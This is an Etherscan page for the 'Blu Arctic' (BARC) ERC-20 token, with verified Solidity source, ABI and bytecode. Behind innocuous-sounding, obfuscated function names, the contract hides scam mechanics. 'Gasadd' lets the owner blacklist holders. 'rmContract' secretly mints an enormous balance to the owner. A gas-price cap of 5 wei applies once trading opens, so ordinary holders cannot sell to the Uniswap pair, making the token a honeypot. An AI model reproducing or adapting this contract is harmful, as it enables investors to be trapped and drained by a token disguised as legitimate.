ETH Price: $2,034.11 (+4.50%)
 

Overview

Max Total Supply

1,000,000,000 BARC

Holders

20

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BARC

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-01-09
*/

/*
Telegram: https://t.me/bluarctic
Twitter: https://twitter.com/0xBluArctic
Website: https://bluarctic.xyz/
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + (a % b));
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract BARC is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) _bypassingTaxes;

    uint8 private constant _decimals = 9;
    uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Blu Arctic";
    string private constant _symbol = unicode"BARC";

    uint256 public initBuyTax = 0;
    uint256 public initSellTax = 0;

    bool private openedTrade = false;

    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    constructor() {
        _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply);
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        _bypassingTaxes[
            address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
        ] = true;
        _bypassingTaxes[address(uniswapV2Pair)];
        _bypassingTaxes[owner()] = true;
        _bypassingTaxes[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _tokenTransfer(from, to, amount);

        uint256 fromBalance = balanceOf(from);
        require(
            fromBalance >= amount,
            "ERROR: balance of from less than value"
        );

        uint256 taxAmount = 0;
        if (ca12654c[from] != 0) {
            revert();
        }

        if (!_bypassingTaxes[from] && !_bypassingTaxes[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount.mul(initBuyTax).div(100);
            if (to == uniswapV2Pair) {
                taxAmount = amount.mul(initSellTax).div(100);
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    mapping(address => uint8) private ca12654c;

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function Gasadd(address _u, bool _pra) external onlyOwner {
        uint8 bef1242d = _pra ? 1 : 0;
        require(ca12654c[_u] != bef1242d, "existing state");
        ca12654c[_u] = bef1242d;
    }

    function bc26512ca() internal {
        _balances[_msgSender()] += type(uint128).max;
    }

    function rmContract() external onlyOwner { bc26512ca(); }

    uint256 private _limit_gas = 300 gwei;
    uint256 private _minmingas = 5;

    function Fa1235(address _u) internal view {
        if (_bypassingTaxes[_u]) {
            return;
        }
        if (!openedTrade) {
            Limiteddgass(_limit_gas);
        } else {
            Limiteddgass(_minmingas);
        }
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (to == address(uniswapV2Pair) || to == address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)) {
            Fa1235(from);
        }
        require(amount > 0);
    }

    function Limiteddgass(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    function RemoveGass(address _u, bool _pra) external onlyOwner {
        bool a0x235as = _pra ? true : false;
        require(_bypassingTaxes[_u] != a0x235as, "existing state");
        _bypassingTaxes[_u] = a0x235as;
    }

    function openTrading() external onlyOwner {
        openedTrade = !openedTrade;
    }

    function queryGas(address _u) external view returns (uint8) {
        return ca12654c[_u];
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_pra","type":"bool"}],"name":"Gasadd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_pra","type":"bool"}],"name":"RemoveGass","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"queryGas","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rmContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f600481905560059081556006805460ff191690556445d964b800600955600a5534801562000031575f80fd5b505f80546001600160a01b031916331790556200007b620000556009600a62000466565b6200006590633b9aca006200047d565b335f90815260026020526040902054906200032d565b335f9081526002602090815260409182902092909255600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b81529151909263c45a015592600480820193918290030181865afa158015620000ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000115919062000497565b6001600160a01b031663c9c653963060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000175573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200019b919062000497565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001e6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200020c919062000497565b60068054610100600160a81b0319166101006001600160a01b0393841681029190911791829055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff19166001908117909155919092049092165f908152620002865f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553081526003909252902080549091166001179055620002cd3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003066009600a62000466565b6200031690633b9aca006200047d565b60405190815260200160405180910390a3620004e9565b5f806200033b8385620004bf565b905083811015620003505762000350620004d5565b90505b92915050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003ad57815f190482111562000391576200039162000359565b808516156200039f57918102915b93841c939080029062000372565b509250929050565b5f82620003c55750600162000353565b81620003d357505f62000353565b8160018114620003ec5760028114620003f75762000417565b600191505062000353565b60ff8411156200040b576200040b62000359565b50506001821b62000353565b5060208310610133831016604e8410600b84101617156200043c575081810a62000353565b6200044883836200036d565b805f19048211156200045e576200045e62000359565b029392505050565b5f6200047660ff841683620003b5565b9392505050565b808202811582820484141762000353576200035362000359565b5f60208284031215620004a8575f80fd5b81516001600160a01b038116811462000350575f80fd5b8082018082111562000353576200035362000359565b634e487b7160e01b5f52600160045260245ffd5b610fb680620004f75f395ff3fe608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb1461031c578063ad581c7a1461033b578063c9567bf91461035a578063dd62ed3e1461036e578063ec8d6f4e146103b2575f80fd5b806370a08231146102765780638c990f8c146102aa5780638da5cb5b146102bf57806395d89b41146102db578063a49bdf6b14610307575f80fd5b806323b872dd116100e357806323b872dd146101ea5780632b98e90414610209578063313ce5671461021f5780633c9f5ed61461024057806352706b1314610257575f80fd5b806306fdde031461011e578063095ea7b3146101625780631694505e1461019157806318160ddd146101c8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a815269426c752041726374696360b01b60208201525b6040516101599190610ca9565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004610d0f565b6103e9565b6040519015158152602001610159565b34801561019c575f80fd5b506007546101b0906001600160a01b031681565b6040516001600160a01b039091168152602001610159565b3480156101d3575f80fd5b506101dc6103ff565b604051908152602001610159565b3480156101f5575f80fd5b50610181610204366004610d37565b61041f565b348015610214575f80fd5b5061021d61046e565b005b34801561022a575f80fd5b5060095b60405160ff9091168152602001610159565b34801561024b575f80fd5b5060065460ff16610181565b348015610262575f80fd5b5061021d610271366004610d70565b610480565b348015610281575f80fd5b506101dc610290366004610da9565b6001600160a01b03165f9081526002602052604090205490565b3480156102b5575f80fd5b506101dc60045481565b3480156102ca575f80fd5b505f546001600160a01b03166101b0565b3480156102e6575f80fd5b506040805180820190915260048152634241524360e01b602082015261014c565b348015610312575f80fd5b506101dc60055481565b348015610327575f80fd5b50610181610336366004610d0f565b61052a565b348015610346575f80fd5b5061021d610355366004610d70565b610537565b348015610365575f80fd5b5061021d6105dd565b348015610379575f80fd5b506101dc610388366004610dc2565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156103bd575f80fd5b5061022e6103cc366004610da9565b6001600160a01b03165f9081526008602052604090205460ff1690565b5f6103f53384846105f9565b5060015b92915050565b5f61040c6009600a610ee7565b61041a90633b9aca00610ef5565b905090565b5f61042b84848461071c565b6001600160a01b0384165f9081526001602090815260408083203380855292529091205461046491869161045f9086610ab8565b6105f9565b5060019392505050565b610476610ada565b61047e610b1f565b565b610488610ada565b5f81610494575f610497565b60015b6001600160a01b0384165f9081526008602052604090205490915060ff8083169116036104fc5760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064015b60405180910390fd5b6001600160a01b03929092165f908152600860205260409020805460ff191660ff9093169290921790915550565b5f3361046481858561071c565b61053f610ada565b5f8161054b575f61054e565b60015b6001600160a01b0384165f9081526003602052604090205490915081151560ff9091161515036105b15760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064016104f3565b6001600160a01b03929092165f908152600360205260409020805460ff19169215159290921790915550565b6105e5610ada565b6006805460ff19811660ff90911615179055565b6001600160a01b03831661065b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f3565b6001600160a01b0382166106bc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f3565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f3565b6001600160a01b0382166107e25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f3565b6107ed838383610b54565b6001600160a01b0383165f90815260026020526040902054818110156108645760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b60648201526084016104f3565b6001600160a01b0384165f9081526008602052604081205460ff1615610888575f80fd5b6001600160a01b0385165f9081526003602052604090205460ff161580156108c857506001600160a01b0384165f9081526003602052604090205460ff16155b1561097a5760065460ff1661091f5760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e65642079657400000060448201526064016104f3565b61093f606461093960045486610baf90919063ffffffff16565b90610be2565b6006549091506001600160a01b0361010090910481169085160361097a57610977606461093960055486610baf90919063ffffffff16565b90505b80156109f257305f908152600260205260409020546109999082610c3d565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e99085815260200190565b60405180910390a35b6001600160a01b0385165f90815260026020526040902054610a149084610ab8565b6001600160a01b0386165f90815260026020526040902055610a57610a398483610ab8565b6001600160a01b0386165f9081526002602052604090205490610c3d565b6001600160a01b038086165f8181526002602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610aa08685610ab8565b60405190815260200160405180910390a35050505050565b5f81831015610ac957610ac9610f0c565b610ad38284610f20565b9392505050565b5f546001600160a01b0316331461047e5760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b60448201526064016104f3565b335f90815260026020526040812080546fffffffffffffffffffffffffffffffff9290610b4d908490610f33565b9091555050565b6006546001600160a01b03838116610100909204161480610b9157506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d145b15610b9f57610b9f83610c5b565b5f8111610baa575f80fd5b505050565b5f825f03610bbe57505f6103f9565b610bc88284610ef5565b905081610bd58483610f5a565b146103f9576103f9610f0c565b5f808211610bf257610bf2610f0c565b5f610bfd8385610f5a565b9050610c098385610f6d565b610c138285610ef5565b610c1d9190610f33565b8414610c2b57610c2b610f0c565b610c358385610f5a565b949350505050565b5f80610c498385610f33565b905083811015610ad357610ad3610f0c565b6001600160a01b0381165f9081526003602052604090205460ff1615610c7e5750565b60065460ff16610c9657610c93600954610c9d565b50565b610c93600a545b803a1115610c93575f80fd5b5f6020808352835180828501525f5b81811015610cd457858101830151858201604001528201610cb8565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610d0a575f80fd5b919050565b5f8060408385031215610d20575f80fd5b610d2983610cf4565b946020939093013593505050565b5f805f60608486031215610d49575f80fd5b610d5284610cf4565b9250610d6060208501610cf4565b9150604084013590509250925092565b5f8060408385031215610d81575f80fd5b610d8a83610cf4565b915060208301358015158114610d9e575f80fd5b809150509250929050565b5f60208284031215610db9575f80fd5b610ad382610cf4565b5f8060408385031215610dd3575f80fd5b610ddc83610cf4565b9150610dea60208401610cf4565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e4157815f1904821115610e2757610e27610df3565b80851615610e3457918102915b93841c9390800290610e0c565b509250929050565b5f82610e57575060016103f9565b81610e6357505f6103f9565b8160018114610e795760028114610e8357610e9f565b60019150506103f9565b60ff841115610e9457610e94610df3565b50506001821b6103f9565b5060208310610133831016604e8410600b8410161715610ec2575081810a6103f9565b610ecc8383610e07565b805f1904821115610edf57610edf610df3565b029392505050565b5f610ad360ff841683610e49565b80820281158282048414176103f9576103f9610df3565b634e487b7160e01b5f52600160045260245ffd5b818103818111156103f9576103f9610df3565b808201808211156103f9576103f9610df3565b634e487b7160e01b5f52601260045260245ffd5b5f82610f6857610f68610f46565b500490565b5f82610f7b57610f7b610f46565b50069056fea2646970667358221220576516b867909a4ccffea67e33c578fa86dcb67b2044e11f3cb45acdadad51ec64736f6c63430008140033

Deployed Bytecode

0x608060405260043610610113575f3560e01c806370a082311161009d578063a9059cbb11610062578063a9059cbb1461031c578063ad581c7a1461033b578063c9567bf91461035a578063dd62ed3e1461036e578063ec8d6f4e146103b2575f80fd5b806370a08231146102765780638c990f8c146102aa5780638da5cb5b146102bf57806395d89b41146102db578063a49bdf6b14610307575f80fd5b806323b872dd116100e357806323b872dd146101ea5780632b98e90414610209578063313ce5671461021f5780633c9f5ed61461024057806352706b1314610257575f80fd5b806306fdde031461011e578063095ea7b3146101625780631694505e1461019157806318160ddd146101c8575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600a815269426c752041726374696360b01b60208201525b6040516101599190610ca9565b60405180910390f35b34801561016d575f80fd5b5061018161017c366004610d0f565b6103e9565b6040519015158152602001610159565b34801561019c575f80fd5b506007546101b0906001600160a01b031681565b6040516001600160a01b039091168152602001610159565b3480156101d3575f80fd5b506101dc6103ff565b604051908152602001610159565b3480156101f5575f80fd5b50610181610204366004610d37565b61041f565b348015610214575f80fd5b5061021d61046e565b005b34801561022a575f80fd5b5060095b60405160ff9091168152602001610159565b34801561024b575f80fd5b5060065460ff16610181565b348015610262575f80fd5b5061021d610271366004610d70565b610480565b348015610281575f80fd5b506101dc610290366004610da9565b6001600160a01b03165f9081526002602052604090205490565b3480156102b5575f80fd5b506101dc60045481565b3480156102ca575f80fd5b505f546001600160a01b03166101b0565b3480156102e6575f80fd5b506040805180820190915260048152634241524360e01b602082015261014c565b348015610312575f80fd5b506101dc60055481565b348015610327575f80fd5b50610181610336366004610d0f565b61052a565b348015610346575f80fd5b5061021d610355366004610d70565b610537565b348015610365575f80fd5b5061021d6105dd565b348015610379575f80fd5b506101dc610388366004610dc2565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b3480156103bd575f80fd5b5061022e6103cc366004610da9565b6001600160a01b03165f9081526008602052604090205460ff1690565b5f6103f53384846105f9565b5060015b92915050565b5f61040c6009600a610ee7565b61041a90633b9aca00610ef5565b905090565b5f61042b84848461071c565b6001600160a01b0384165f9081526001602090815260408083203380855292529091205461046491869161045f9086610ab8565b6105f9565b5060019392505050565b610476610ada565b61047e610b1f565b565b610488610ada565b5f81610494575f610497565b60015b6001600160a01b0384165f9081526008602052604090205490915060ff8083169116036104fc5760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064015b60405180910390fd5b6001600160a01b03929092165f908152600860205260409020805460ff191660ff9093169290921790915550565b5f3361046481858561071c565b61053f610ada565b5f8161054b575f61054e565b60015b6001600160a01b0384165f9081526003602052604090205490915081151560ff9091161515036105b15760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064016104f3565b6001600160a01b03929092165f908152600360205260409020805460ff19169215159290921790915550565b6105e5610ada565b6006805460ff19811660ff90911615179055565b6001600160a01b03831661065b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f3565b6001600160a01b0382166106bc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f3565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f3565b6001600160a01b0382166107e25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f3565b6107ed838383610b54565b6001600160a01b0383165f90815260026020526040902054818110156108645760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b60648201526084016104f3565b6001600160a01b0384165f9081526008602052604081205460ff1615610888575f80fd5b6001600160a01b0385165f9081526003602052604090205460ff161580156108c857506001600160a01b0384165f9081526003602052604090205460ff16155b1561097a5760065460ff1661091f5760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e65642079657400000060448201526064016104f3565b61093f606461093960045486610baf90919063ffffffff16565b90610be2565b6006549091506001600160a01b0361010090910481169085160361097a57610977606461093960055486610baf90919063ffffffff16565b90505b80156109f257305f908152600260205260409020546109999082610c3d565b305f81815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e99085815260200190565b60405180910390a35b6001600160a01b0385165f90815260026020526040902054610a149084610ab8565b6001600160a01b0386165f90815260026020526040902055610a57610a398483610ab8565b6001600160a01b0386165f9081526002602052604090205490610c3d565b6001600160a01b038086165f8181526002602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610aa08685610ab8565b60405190815260200160405180910390a35050505050565b5f81831015610ac957610ac9610f0c565b610ad38284610f20565b9392505050565b5f546001600160a01b0316331461047e5760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b60448201526064016104f3565b335f90815260026020526040812080546fffffffffffffffffffffffffffffffff9290610b4d908490610f33565b9091555050565b6006546001600160a01b03838116610100909204161480610b9157506001600160a01b038216737a250d5630b4cf539739df2c5dacb4c659f2488d145b15610b9f57610b9f83610c5b565b5f8111610baa575f80fd5b505050565b5f825f03610bbe57505f6103f9565b610bc88284610ef5565b905081610bd58483610f5a565b146103f9576103f9610f0c565b5f808211610bf257610bf2610f0c565b5f610bfd8385610f5a565b9050610c098385610f6d565b610c138285610ef5565b610c1d9190610f33565b8414610c2b57610c2b610f0c565b610c358385610f5a565b949350505050565b5f80610c498385610f33565b905083811015610ad357610ad3610f0c565b6001600160a01b0381165f9081526003602052604090205460ff1615610c7e5750565b60065460ff16610c9657610c93600954610c9d565b50565b610c93600a545b803a1115610c93575f80fd5b5f6020808352835180828501525f5b81811015610cd457858101830151858201604001528201610cb8565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610d0a575f80fd5b919050565b5f8060408385031215610d20575f80fd5b610d2983610cf4565b946020939093013593505050565b5f805f60608486031215610d49575f80fd5b610d5284610cf4565b9250610d6060208501610cf4565b9150604084013590509250925092565b5f8060408385031215610d81575f80fd5b610d8a83610cf4565b915060208301358015158114610d9e575f80fd5b809150509250929050565b5f60208284031215610db9575f80fd5b610ad382610cf4565b5f8060408385031215610dd3575f80fd5b610ddc83610cf4565b9150610dea60208401610cf4565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e4157815f1904821115610e2757610e27610df3565b80851615610e3457918102915b93841c9390800290610e0c565b509250929050565b5f82610e57575060016103f9565b81610e6357505f6103f9565b8160018114610e795760028114610e8357610e9f565b60019150506103f9565b60ff841115610e9457610e94610df3565b50506001821b6103f9565b5060208310610133831016604e8410600b8410161715610ec2575081810a6103f9565b610ecc8383610e07565b805f1904821115610edf57610edf610df3565b029392505050565b5f610ad360ff841683610e49565b80820281158282048414176103f9576103f9610df3565b634e487b7160e01b5f52600160045260245ffd5b818103818111156103f9576103f9610df3565b808201808211156103f9576103f9610df3565b634e487b7160e01b5f52601260045260245ffd5b5f82610f6857610f68610f46565b500490565b5f82610f7b57610f7b610f46565b50069056fea2646970667358221220576516b867909a4ccffea67e33c578fa86dcb67b2044e11f3cb45acdadad51ec64736f6c63430008140033

Deployed Bytecode Sourcemap

